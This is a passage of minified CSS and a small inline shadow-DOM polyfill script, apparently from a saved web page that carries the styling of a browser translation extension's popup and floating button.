::after{content:"\\"}progress{display:inline-block;vertical-align:baseline}progress{-webkit-appearance:none;-moz-appearance:none;display:inline-block;appearance:none;width:100%;height:0.5rem;margin-bottom:calc(var(--spacing)*0.5);overflow:hidden;border:0;border-radius:var(--border-radius);background-color:var(--progress-background-color);color:var(--progress-color)}progress::-webkit-progress-bar{border-radius:var(--border-radius);background:none}progress[value]::-webkit-progress-value{background-color:var(--progress-color)}progress::-moz-progress-bar{background-color:var(--progress-color)}@media (prefers-reduced-motion:no-preference){progress:indeterminate{background:var(--progress-background-color) linear-gradient(to right,var(--progress-color) 30%,var(--progress-background-color) 30%) top left/150% 150%no-repeat;animation:progress-indeterminate 1s linear infinite}progress:indeterminate[value]::-webkit-progress-value{background-color:transparent}progress:indeterminate::-moz-progress-bar{background-color:transparent}}@media (prefers-reduced-motion:no-preference){[dir="rtl"] progress:indeterminate{animation-direction:reverse}}@keyframes progress-indeterminate{0%{background-position:200%0}100%{background-position:-200%0}}details[role="list"],li[role="list"]{position:relative}details[role="list"] summary+ul,li[role="list"]>ul{display:flex;z-index:99;position:absolute;top:auto;right:0;left:0;flex-direction:column;margin:0;padding:0;border:var(--border-width) solid var(--dropdown-border-color);border-radius:var(--border-radius);border-top-right-radius:0;border-top-left-radius:0;background-color:var(--dropdown-background-color);box-shadow:var(--card-box-shadow);color:var(--dropdown-color);white-space:nowrap}details[role="list"] summary+ul li,li[role="list"]>ul li{width:100%;margin-bottom:0;padding:calc(var(--form-element-spacing-vertical)*0.5) var(--form-element-spacing-horizontal);list-style:none}details[role="list"] summary+ul li:first-of-type,li[role="list"]>ul li:first-of-type{margin-top:calc(var(--form-element-spacing-vertical)*0.5)}details[role="list"] summary+ul li:last-of-type,li[role="list"]>ul li:last-of-type{margin-bottom:calc(var(--form-element-spacing-vertical)*0.5)}details[role="list"] summary+ul li a,li[role="list"]>ul li a{display:block;margin:calc(var(--form-element-spacing-vertical)*-0.5) calc(var(--form-element-spacing-horizontal)*-1);padding:calc(var(--form-element-spacing-vertical)*0.5) var(--form-element-spacing-horizontal);overflow:hidden;color:var(--dropdown-color);text-decoration:none;text-overflow:ellipsis}details[role="list"] summary+ul li a:hover,li[role="list"]>ul li a:hover{background-color:var(--dropdown-hover-background-color)}details[role="list"] summary::after,li[role="list"]>a::after{display:block;width:1rem;height:calc(1rem*var(--line-height,1.5));-webkit-margin-start:0.5rem;margin-inline-start:0.5rem;float:right;transform:rotate(0deg);background-position:right center;background-size:1rem auto;background-repeat:no-repeat;content:""}details[role="list"]{padding:0;border-bottom:none}details[role="list"] summary{margin-bottom:0}details[role="list"] summary:not([role]){height:calc(1rem*var(--line-height) + var(--form-element-spacing-vertical)*2 + var(--border-width)*2);padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--form-element-border-color);border-radius:var(--border-radius);background-color:var(--form-element-background-color);color:var(--form-element-placeholder-color);line-height:inherit;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}details[role="list"] summary:not([role]):active,details[role="list"] summary:not([role]):focus{border-color:var(--form-element-active-border-color);background-color:var(--form-element-active-background-color)}details[role="list"] summary:not([role]):focus{box-shadow:0 0 0 var(--outline-width) var(--form-element-focus-color)}details[role="list"][open] summary{border-bottom-right-radius:0;border-bottom-left-radius:0}details[role="list"][open] summary::before{display:block;z-index:1;position:fixed;top:0;right:0;bottom:0;left:0;background:none;content:"";cursor:default}nav details[role="list"] summary,nav li[role="list"] a{display:flex;direction:ltr}nav details[role="list"] summary+ul,nav li[role="list"]>ul{min-width:-moz-fit-content;min-width:fit-content;border-radius:var(--border-radius)}nav details[role="list"] summary+ul li a,nav li[role="list"]>ul li a{border-radius:0}nav details[role="list"] summary,nav details[role="list"] summary:not([role]){height:auto;padding:var(--nav-link-spacing-vertical) var(--nav-link-spacing-horizontal)}nav details[role="list"][open] summary{border-radius:var(--border-radius)}nav details[role="list"] summary+ul{margin-top:var(--outline-width);-webkit-margin-start:0;margin-inline-start:0}nav details[role="list"] summary[role="link"]{margin-bottom:calc(var(--nav-link-spacing-vertical)*-1);line-height:var(--line-height)}nav details[role="list"] summary[role="link"]+ul{margin-top:calc(var(--nav-link-spacing-vertical) + var(--outline-width));-webkit-margin-start:calc(var(--nav-link-spacing-horizontal)*-1);margin-inline-start:calc(var(--nav-link-spacing-horizontal)*-1)}li[role="list"]:hover>ul,li[role="list"] a:active~ul,li[role="list"] a:focus~ul{display:flex}li[role="list"]>ul{display:none;margin-top:calc(var(--nav-link-spacing-vertical) + var(--outline-width));-webkit-margin-start:calc(var(--nav-element-spacing-horizontal) - var(--nav-link-spacing-horizontal));margin-inline-start:calc(var(--nav-element-spacing-horizontal) - var(--nav-link-spacing-horizontal))}li[role="list"]>a::after{background-image:var(--icon-chevron)}[aria-busy="true"]{cursor:progress}[aria-busy="true"]:not(input,select,textarea)::before{display:inline-block;width:1em;height:1em;border:0.1875em solid currentColor;border-radius:1em;border-right-color:transparent;content:"";vertical-align:text-bottom;vertical-align:-0.125em;animation:spinner 0.75s linear infinite;opacity:var(--loading-spinner-opacity)}[aria-busy="true"]:not(input,select,textarea):not(:empty)::before{margin-right:calc(var(--spacing)*0.5);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)*0.5);margin-inline-end:calc(var(--spacing)*0.5)}[aria-busy="true"]:not(input,select,textarea):empty{text-align:center}button[aria-busy="true"],input[type="submit"][aria-busy="true"],input[type="button"][aria-busy="true"],input[type="reset"][aria-busy="true"],a[aria-busy="true"]{pointer-events:none}@keyframes spinner{to{transform:rotate(360deg)}}[data-tooltip]{position:relative}[data-tooltip]:not(a,button,input){border-bottom:1px dotted;text-decoration:none;cursor:help}[data-tooltip][data-placement="top"]::before,[data-tooltip][data-placement="top"]::after,[data-tooltip]::before,[data-tooltip]::after{display:block;z-index:99;position:absolute;bottom:100%;left:50%;padding:0.25rem 0.5rem;overflow:hidden;transform:translate(-50%,-0.25rem);border-radius:var(--border-radius);background:var(--tooltip-background-color);content:attr(data-tooltip);color:var(--tooltip-color);font-style:normal;font-weight:var(--font-weight);font-size:0.875rem;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;opacity:0;pointer-events:none}[data-tooltip][data-placement="top"]::after,[data-tooltip]::after{padding:0;transform:translate(-50%,0rem);border-top:0.3rem solid;border-right:0.3rem solid transparent;border-left:0.3rem solid transparent;border-radius:0;background-color:transparent;content:"";color:var(--tooltip-background-color)}[data-tooltip][data-placement="bottom"]::before,[data-tooltip][data-placement="bottom"]::after{top:100%;bottom:auto;transform:translate(-50%,0.25rem)}[data-tooltip][data-placement="bottom"]:after{transform:translate(-50%,-0.3rem);border:0.3rem solid transparent;border-bottom:0.3rem solid}[data-tooltip][data-placement="left"]::before,[data-tooltip][data-placement="left"]::after{top:50%;right:100%;bottom:auto;left:auto;transform:translate(-0.25rem,-50%)}[data-tooltip][data-placement="left"]:after{transform:translate(0.3rem,-50%);border:0.3rem solid transparent;border-left:0.3rem solid}[data-tooltip][data-placement="right"]::before,[data-tooltip][data-placement="right"]::after{top:50%;right:auto;bottom:auto;left:100%;transform:translate(0.25rem,-50%)}[data-tooltip][data-placement="right"]:after{transform:translate(-0.3rem,-50%);border:0.3rem solid transparent;border-right:0.3rem solid}[data-tooltip]:focus::before,[data-tooltip]:focus::after,[data-tooltip]:hover::before,[data-tooltip]:hover::after{opacity:1}@media (hover:hover) and (pointer:fine){[data-tooltip][data-placement="bottom"]:focus::before,[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::before,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::after,[data-tooltip]:hover::before,[data-tooltip]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-top}[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover [data-tooltip]:focus::after,[data-tooltip]:hover::after{animation-name:tooltip-caret-slide-top}[data-tooltip][data-placement="bottom"]:focus::before,[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover::before,[data-tooltip][data-placement="bottom"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-bottom}[data-tooltip][data-placement="bottom"]:focus::after,[data-tooltip][data-placement="bottom"]:hover::after{animation-name:tooltip-caret-slide-bottom}[data-tooltip][data-placement="left"]:focus::before,[data-tooltip][data-placement="left"]:focus::after,[data-tooltip][data-placement="left"]:hover::before,[data-tooltip][data-placement="left"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-left}[data-tooltip][data-placement="left"]:focus::after,[data-tooltip][data-placement="left"]:hover::after{animation-name:tooltip-caret-slide-left}[data-tooltip][data-placement="right"]:focus::before,[data-tooltip][data-placement="right"]:focus::after,[data-tooltip][data-placement="right"]:hover::before,[data-tooltip][data-placement="right"]:hover::after{animation-duration:0.2s;animation-name:tooltip-slide-right}[data-tooltip][data-placement="right"]:focus::after,[data-tooltip][data-placement="right"]:hover::after{animation-name:tooltip-caret-slide-right}}@keyframes tooltip-slide-top{from{transform:translate(-50%,0.75rem);opacity:0}to{transform:translate(-50%,-0.25rem);opacity:1}}@keyframes tooltip-caret-slide-top{from{opacity:0}50%{transform:translate(-50%,-0.25rem);opacity:0}to{transform:translate(-50%,0rem);opacity:1}}@keyframes tooltip-slide-bottom{from{transform:translate(-50%,-0.75rem);opacity:0}to{transform:translate(-50%,0.25rem);opacity:1}}@keyframes tooltip-caret-slide-bottom{from{opacity:0}50%{transform:translate(-50%,-0.5rem);opacity:0}to{transform:translate(-50%,-0.3rem);opacity:1}}@keyframes tooltip-slide-left{from{transform:translate(0.75rem,-50%);opacity:0}to{transform:translate(-0.25rem,-50%);opacity:1}}@keyframes tooltip-caret-slide-left{from{opacity:0}50%{transform:translate(0.05rem,-50%);opacity:0}to{transform:translate(0.3rem,-50%);opacity:1}}@keyframes tooltip-slide-right{from{transform:translate(-0.75rem,-50%);opacity:0}to{transform:translate(0.25rem,-50%);opacity:1}}@keyframes tooltip-caret-slide-right{from{opacity:0}50%{transform:translate(-0.05rem,-50%);opacity:0}to{transform:translate(-0.3rem,-50%);opacity:1}}[aria-controls]{cursor:pointer}[aria-disabled="true"],[disabled]{cursor:not-allowed}[aria-hidden="false"][hidden]{display:initial}[aria-hidden="false"][hidden]:not(:focus){clip:rect(0,0,0,0);position:absolute}a,area,button,input,label,select,summary,textarea,[tabindex]{-ms-touch-action:manipulation}[dir="rtl"]{direction:rtl}@media (prefers-reduced-motion:reduce){*:not([aria-busy="true"]),:not([aria-busy="true"])::before,:not([aria-busy="true"])::after{background-attachment:initial!important;animation-duration:1ms!important;animation-delay:-1ms!important;animation-iteration-count:1!important;scroll-behavior:auto!important;transition-delay:0s!important;transition-duration:0s!important}}#mount#mount{--primary:#ea4c89;--primary-hover:#f082ac;--icon-xia:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGcgaWQ9IkZyYW1lIj4KPHBhdGggaWQ9IlZlY3RvciIgZD0iTTguMDAyOTEgOS42Nzk4M0wzLjgzMzM5IDUuNTEyMjFMMy4wMjUzOSA2LjMxOTgzTDguMDAzMjkgMTEuMjk1MUwxMi45NzYyIDYuMzE5ODNMMTIuMTY3OSA1LjUxMjIxTDguMDAyOTEgOS42Nzk4M1oiIGZpbGw9IiM4MzgzODMiLz4KPC9nPgo8L3N2Zz4K);--switch-checked-background-color:var(--primary)}li.select-link.select-link:hover>ul{display:none}li.select-link.select-link>ul{display:none}li.select-link.select-link a:focus~ul{display:none}li.select-link.select-link a:active~ul{display:none}li.select-link-active.select-link-active>ul{display:flex}li.select-link-active.select-link-active:hover>ul{display:flex}li.select-link-active.select-link-active a:focus~ul{display:flex}li.select-link-active.select-link-active a:active~ul{display:flex}ul.select-link-ul.select-link-ul{right:0px;left:auto}a.select-link-selected{background-color:var(--primary-focus)}.immersive-translate-no-select{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}li[role="list"].no-arrow{margin-left:8px;padding-right:0}li[role="list"]>a::after{-webkit-margin-start:0.2rem;margin-inline-start:0.2rem}li[role="list"].no-arrow>a,li[role="list"].no-arrow>a:link,li[role="list"].no-arrow>a:visited{color:var(--secondary)}select.min-select{--form-element-spacing-horizontal:0;margin-bottom:4px;max-width:128px;overflow:hidden;color:var(--primary);font-size:13px;border:none;padding:0;padding-right:20px;padding-left:8px;text-overflow:ellipsis;color:var(--color)}select.min-select-secondary{color:var(--color)}select.min-select:focus{outline:none;border:none;--box-shadow:none}select.min-select-no-arrow{background-image:none;padding-right:0}select.min-select-left{padding-right:0px;text-overflow:ellipsis;text-align:left}.muted{color:var(--muted-color)}.select.button-select{--background-color:var(--secondary-hover);--border-color:var(--secondary-hover);--color:var(--secondary-inverse);cursor:pointer;--box-shadow:var(--button-box-shadow,0 0 0 rgba(0,0,0,0));padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:16px;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);-webkit-appearance:button;margin:0;margin-bottom:0px;overflow:visible;font-family:inherit;text-transform:none}html{font-size:16px;--font-size:16px}body{padding:0;margin:0 auto;min-width:268px;border-radius:10px}.popup-container{color:#666;background-color:var(--popup-footer-background-color);width:316px;min-width:316px}.popup-content{background-color:var(--popup-content-background-color);border-radius:0px 0px 12px 12px;padding:16px 20px}.immersive-translate-popup-overlay{position:fixed;top:0;left:0;height:100%;width:100%;touch-action:none}.immersive-translate-popup-wrapper{background:var(--background-color);border-radius:10px;border:1px solid var(--muted-border-color)}#mount#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:4px;--border-width:1px;--outline-width:3px;--spacing:16px;--typography-spacing-vertical:24px;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:12px;--form-element-spacing-horizontal:16px;--nav-element-spacing-vertical:16px;--nav-element-spacing-horizontal:8px;--nav-link-spacing-vertical:8px;--nav-link-spacing-horizontal:8px;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(4px)}[data-theme="light"],#mount:not([data-theme="dark"]){--popup-footer-background-color:#e8eaeb;--popup-content-background-color:#ffffff;--popup-item-background-color:#f3f5f6;--popup-item-hover-background-color:#eaeced;--text-black-2:#222222;--text-gray-2:#222222;--text-gray-6:#666666;--text-gray-9:#999999;--text-gray-c2:#c2c2c2}@media only screen and (prefers-color-scheme:dark){#mount:not([data-theme="light"]){--popup-footer-background-color:#0d0d0d;--popup-content-background-color:#191919;--popup-item-background-color:#272727;--popup-item-hover-background-color:#333333;--text-black-2:#ffffff;--text-gray-2:#dbdbdb;--text-gray-6:#b3b3b3;--text-gray-9:#777777;--text-gray-c2:#5b5b5b}}[data-theme="dark"]{--popup-footer-background-color:#0d0d0d;--popup-content-background-color:#191919;--popup-item-background-color:#272727;--popup-item-hover-background-color:#333333;--text-black-2:#ffffff;--text-gray-2:#dbdbdb;--text-gray-6:#b3b3b3;--text-gray-9:#777777;--text-gray-c2:#5b5b5b}.text-balck{color:var(--text-black-2)}.text-gray-2{color:var(--text-gray-2)}.text-gray-6{color:var(--text-gray-6)}.text-gray-9{color:var(--text-gray-9)}.text-gray-c2{color:var(--text-gray-c2)}#mount{min-width:268px}.main-button{font-size:15px;vertical-align:middle;border-radius:12px;padding:unset;height:44px;line-height:44px}.pt-4{padding-top:16px}.p-2{padding:8px}.pl-5{padding-left:48px}.p-0{padding:0}.pl-2{padding-left:8px}.pl-4{padding-left:24px}.pt-2{padding-top:8px}.pb-2{padding-bottom:8px}.pb-4{padding-bottom:16px}.pb-5{padding-bottom:20px}.pr-5{padding-right:48px}.text-sm{font-size:13px}.text-base{font-size:16px}.w-full{width:100%}.flex{display:flex}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.flex-end{justify-content:flex-end}.flex-grow{flex-grow:1}.justify-between{justify-content:space-between}.mb-0{margin-bottom:0px}.mb-2{margin-bottom:8px}.mb-4{margin-bottom:16px}.mb-3{margin-bottom:12px}.inline-block{display:inline-block}.py-2{padding-top:8px;padding-bottom:8px}.py-2-5{padding-top:6px;padding-bottom:6px}.mt-0{margin-top:0}.mt-2{margin-top:8px}.mt-3{margin-top:12px}.mt-4{margin-top:16px}.mt-5{margin-top:20px}.mt-6{margin-top:24px}.mb-1{margin-bottom:4px}.ml-4{margin-left:24px}.ml-3{margin-left:16px}.ml-2{margin-left:8px}.ml-1{margin-left:4px}.mr-1{margin-right:4px}.mr-2{margin-right:8px}.mr-3{margin-right:16px}.mx-2{margin-left:8px;margin-right:8px}.pl-3{padding-left:12px}.pr-3{padding-right:12px}.p-3{padding:12px}.px-1{padding-left:4px;padding-right:4px}.px-3{padding-left:12px;padding-right:12px}.pt-3{padding-top:12px}.px-6{padding-left:18px;padding-right:18px}.px-4{padding-left:16px;padding-right:16px}.pt-6{padding-top:20px}.py-3{padding-top:12px;padding-bottom:12px}.py-0{padding-top:0;padding-bottom:0}.left-auto{left:auto!important}.max-h-28{max-height:112px}.max-h-30{max-height:120px}.overflow-y-scroll{overflow-y:scroll}.text-xs{font-size:12px}.flex-1{flex:1}.flex-3{flex:3}.flex-4{flex:4}.flex-2{flex:2}.items-center{align-items:center}.max-content{width:max-content}.justify-center{justify-content:center}.items-end{align-items:flex-end}.items-baseline{align-items:baseline}.my-5{margin-top:48px;margin-bottom:48px}.my-4{margin-top:24px;margin-bottom:24px}.my-3{margin-top:16px;margin-bottom:16px}.pt-3{padding-top:12px}.px-3{padding-left:12px;padding-right:12px}.pt-2{padding-top:8px}.px-2{padding-left:8px;padding-right:8px}.pt-1{padding-top:4px}.px-1{padding-left:4px;padding-right:4px}.pb-2{padding-bottom:8px}.justify-end{justify-content:flex-end}.w-auto{width:auto}.shrink-0{flex-shrink:0}select.language-select,select.translate-service,select.min-select{--form-element-spacing-horizontal:0;margin-bottom:0px;max-width:unset;flex:1;overflow:hidden;font-size:13px;border:none;border-radius:8px;padding-right:30px;padding-left:0px;background-position:center right 12px;background-size:16px auto;background-image:var(--icon-xia);text-overflow:ellipsis;color:var(--text-gray-2);background-color:transparent;box-shadow:unset!important;cursor:pointer}select.more{background-position:center right;padding-right:20px}select.transform-padding-left{padding-left:12px;transform:translateX(-12px)}select.translate-service{color:var(--text-black-2)}@media (prefers-color-scheme:dark){select.language-select option,select.translate-service option,select.min-select option{background-color:#666666}}.text-overflow-ellipsis{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.max-w-20{max-width:180px;white-space:nowrap}select.min-select-secondary{color:var(--color)}select.min-select:focus{outline:none;border:none;--box-shadow:none}select.min-select-no-arrow{background-image:none;padding-right:0}select.min-select-left{padding-right:0px;text-overflow:ellipsis;text-align:left}.popup-footer{background-color:var(--popup-footer-background-color);height:40px}.text-right{text-align:right}.clickable{cursor:pointer}.close{cursor:pointer;width:16px;height:16px;background-image:var(--icon-close);background-position:center;background-size:auto 1rem;background-repeat:no-repeat;opacity:0.5;transition:opacity var(--transition)}.padding-two-column{padding-left:40px;padding-right:40px}.muted{color:#999}.text-label{color:#666}.display-none{display:none}@media (prefers-color-scheme:dark){.text-label{color:#9ca3af}}.text-decoration-none{text-decoration:none}.text-decoration-none:is([aria-current],:hover,:active,:focus),[role="link"]:is([aria-current],:hover,:active,:focus){--text-decoration:none!important;background-color:transparent!important}.language-select-container{position:relative;width:100%;background-color:var(--popup-item-background-color);height:55px;border-radius:12px}select.language-select{color:var(--text-black-2);font-size:14px;padding:8px 24px 24px 16px;position:absolute;border-radius:12px;position:absolute;left:0;right:0;top:0;bottom:0}select.text-gray-6{color:var(--text-gray-6)}.language-select-container label{position:absolute;bottom:10px;left:16px;font-size:12px;color:var(--text-gray-9);line-height:12px;margin:0}.translation-service-container{background-color:var(--popup-item-background-color);border-radius:12px}.min-select-container{display:flex;justify-content:space-between;align-items:center;height:44px;background-color:var(--popup-item-background-color);padding-left:16px}.min-select-container:first-child{border-top-left-radius:10px;border-top-right-radius:10px}.min-select-container:last-child{border-bottom-left-radius:10px;border-bottom-right-radius:10px}.min-select-container:only-child{border-radius:10px}.translate-mode{width:44px;height:44px;border-radius:22px;background-color:var(--popup-item-background-color);display:flex;align-items:center;justify-content:center;flex-shrink:0;cursor:pointer}.translate-mode svg{fill:var(--text-gray-2)}.widgets-container{display:flex;align-items:center;justify-content:space-between}.widgets-container>:not(:last-child){margin-right:8px}.widget-item{display:flex;align-items:center;justify-content:center;background-color:var(--popup-item-background-color);font-size:12px;height:44px;border-radius:8px;cursor:pointer;flex:1}.widget-item svg{fill:var(--text-gray-2)}.setting svg{fill:var(--text-gray-6)}.share-button-container{display:flex;align-items:center;cursor:pointer;padding:2px 3px 0 8px}.share-button-container svg{fill:var(--text-gray-9)}.min-select-container:hover,.language-select-container:hover,.widget-item:hover,.translate-mode:hover{background-color:var(--popup-item-hover-background-color)}.main-button:hover{background-color:#f5508f}.share-button-container:hover{background-color:var(--popup-item-background-color);border-radius:6px}.error-boundary{background:#fff2f0;border:1px solid #ffccc7;display:flex;padding:12px;font-size:14px;color:rgba(0,0,0,0.88);word-break:break-all;margin:12px;border-radius:12px;flex-direction:column}html{font-size:17px}@media print{.imt-fb-container{display:none!important}}#mount#mount{position:absolute;display:none;min-width:250px;height:auto;--font-size:17px;font-size:17px}.imt-fb-container{position:fixed;padding:0;z-index:2147483647;top:335px;width:56px;display:flex;flex-direction:column;display:none}.imt-fb-container.left{align-items:flex-start;left:0}.imt-fb-container.right{align-items:flex-end;right:0}.imt-fb-btn{background:linear-gradient(320.9deg,#db3b7b 26.47%,#ffcee2 88.86%);height:36px;width:56px;box-shadow:2px 6px 10px 0px #0e121629}.imt-fb-btn.left{border-top-right-radius:36px;border-bottom-right-radius:36px}.imt-fb-btn.right{border-top-left-radius:36px;border-bottom-left-radius:36px}.imt-fb-btn div{background:linear-gradient(140.91deg,#ff87b7 12.61%,#ec4c8c 76.89%);height:34px;width:54px;margin:1px;display:flex;align-items:center}.imt-fb-btn.left div{border-top-right-radius:34px;border-bottom-right-radius:34px;justify-content:flex-end}.imt-fb-btn.right div{border-top-left-radius:34px;border-bottom-left-radius:34px}.imt-fb-logo-img{width:20px;height:20px;margin:0 10px}.imt-float-ball-translated{position:absolute;width:11px;height:11px;bottom:4px;right:20px}.btn-animate{cursor:pointer;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform ease-out 250ms;transition:-webkit-transform ease-out 250ms;transition:transform ease-out 250ms;transition:transform ease-out 250ms,-webkit-transform ease-out 250ms}.imt-fb-setting-btn{margin-right:18px;width:28px;height:28px}.immersive-translate-popup-wrapper{background:var(--background-color);border-radius:20px;box-shadow:2px 10px 24px 0px #0e121614;border:none;overflow:hidden}.imt-fb-close-content{padding:22px;width:320px}.imt-fb-close-title{font-weight:500;color:var(--h2-color)}.imt-fb-close-radio-content{background-color:var(--background-light-green);padding:8px 20px}.imt-fb-radio-sel,.imt-fb-radio-nor{width:16px;height:16px;border-radius:8px;flex-shrink:0}.imt-fb-radio-sel{border:2px solid var(--primary);display:flex;align-items:center;justify-content:center}.imt-fb-radio-sel div{width:8px;height:8px;border-radius:4px;background-color:var(--primary)}.imt-fb-radio-nor{border:2px solid #d3d4d6}.imt-fb-primary-btn{background-color:var(--primary);width:72px;height:32px;color:white;border-radius:8px;text-align:center;line-height:32px;font-size:16px;cursor:pointer}.imt-fb-default-btn{border:1px solid var(--primary);width:72px;height:32px;border-radius:8px;color:var(--primary);line-height:32px;text-align:center;font-size:16px}.imt-fb-guide-container{width:312px;transform:translateY(-50%)}.imt-fb-guide-bg{position:absolute;left:0;right:0;top:0;bottom:0;z-index:-1;height:100%;width:100%}.imt-fb-guide-bg.left{transform:scaleX(-1)}.imt-fb-guide-content{margin:16px 32px 60px 21px;display:flex;flex-direction:column;align-items:center}.imt-fb-guide-content.left{margin:16px 21px 60px 32px}.imt-fb-guide-img{width:235px;height:171px;margin-top:16px}.imt-fb-guide-message{font-size:16px;line-height:28px;color:#333333;white-space:pre-wrap;text-align:center;font-weight:700;margin-top:10px}.imt-fb-guide-button{margin-top:16px;line-height:40px;height:40px;padding:0 20px;width:unset}.imt-fb-more-buttons{box-shadow:0px 2px 10px 0px #00000014;border:1px solid var(--float-ball-more-button-border-color);background:var(--float-ball-more-button-background-color);width:36px;display:flex;flex-direction:column;border-radius:18px;margin-right:8px}.imt-fb-more-button{width:36px;height:36px;display:flex;align-items:center;justify-content:center;cursor:pointer}.imt-fb-more-buttons svg path{fill:var(--float-ball-more-button-svg-color)}.immersive-translate-sheet{position:fixed;transform:translateY(100%);left:0;right:0;background-color:white;transition:transform 0.3s ease-out;box-shadow:0px -2px 10px rgba(0,0,0,0.1);bottom:0;border-top-left-radius:16px;border-top-right-radius:16px;overflow:hidden}.immersive-translate-sheet.visible{transform:translateY(0)}.immersive-translate-sheet-backdrop{position:fixed;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,0.5);opacity:0;transition:opacity 0.3s ease-out}.immersive-translate-sheet-backdrop.visible{opacity:1}.popup-container-sheet{max-width:100vw;width:100vw}.imt-no-events svg *{pointer-events:none!important}.imt-manga-button{width:36px;display:flex;flex-direction:column;position:relative;align-items:center;justify-content:center;cursor:pointer;pointer-events:all;margin:12px 0 0 0;background-color:white;border-radius:18px;filter:drop-shadow(0px 2px 10px rgba(0,0,0,0.08));opacity:0.5;right:8px}.imt-manga-feedback{margin:10px 9px 12px 9px}.imt-manga-button:hover{opacity:1}.imt-manga-translated{position:absolute;left:24px;top:20px}.imt-float-ball-loading{animation:imt-loading-animation 0.6s infinite linear!important}.imt-manga-guide-bg{position:absolute;left:0;right:0;top:0;bottom:0;z-index:-1;width:372px;transform:translateY(-50%)}.imt-manga-guide-content{position:absolute;top:15px;left:0;right:0;margin:0 40px 0}.img-manga-guide-button{width:fit-content;margin:16px auto}.img-manga-close{position:absolute;bottom:-200px;width:32px;height:32px;left:0;right:0;margin:auto;cursor:pointer}@-webkit-keyframes imt-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes imt-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}</style><div id=mount style=display:block></div></template></div><script data-template-shadow-root>(()=>{document.currentScript.remove();processNode(document);function processNode(node){node.querySelectorAll("template[shadowrootmode]").forEach(element=>{let shadowRoot = element.parentElement.shadowRoot;if (!shadowRoot) {try {shadowRoot=element.parentElement.attachShadow({mode:element.getAttribute("shadowrootmode"),delegatesFocus:element.getAttribute("shadowrootdelegatesfocus")!=null,clonable:element.getAttribute("shadowrootclonable")!=null,serializable:element.getAttribute("shadowrootserializable")!=null});shadowRoot.innerHTML=element.innerHTML;element.remove()} catch (error) {} if (shadowRoot) {processNode(shadowRoot)}}})}})()</script>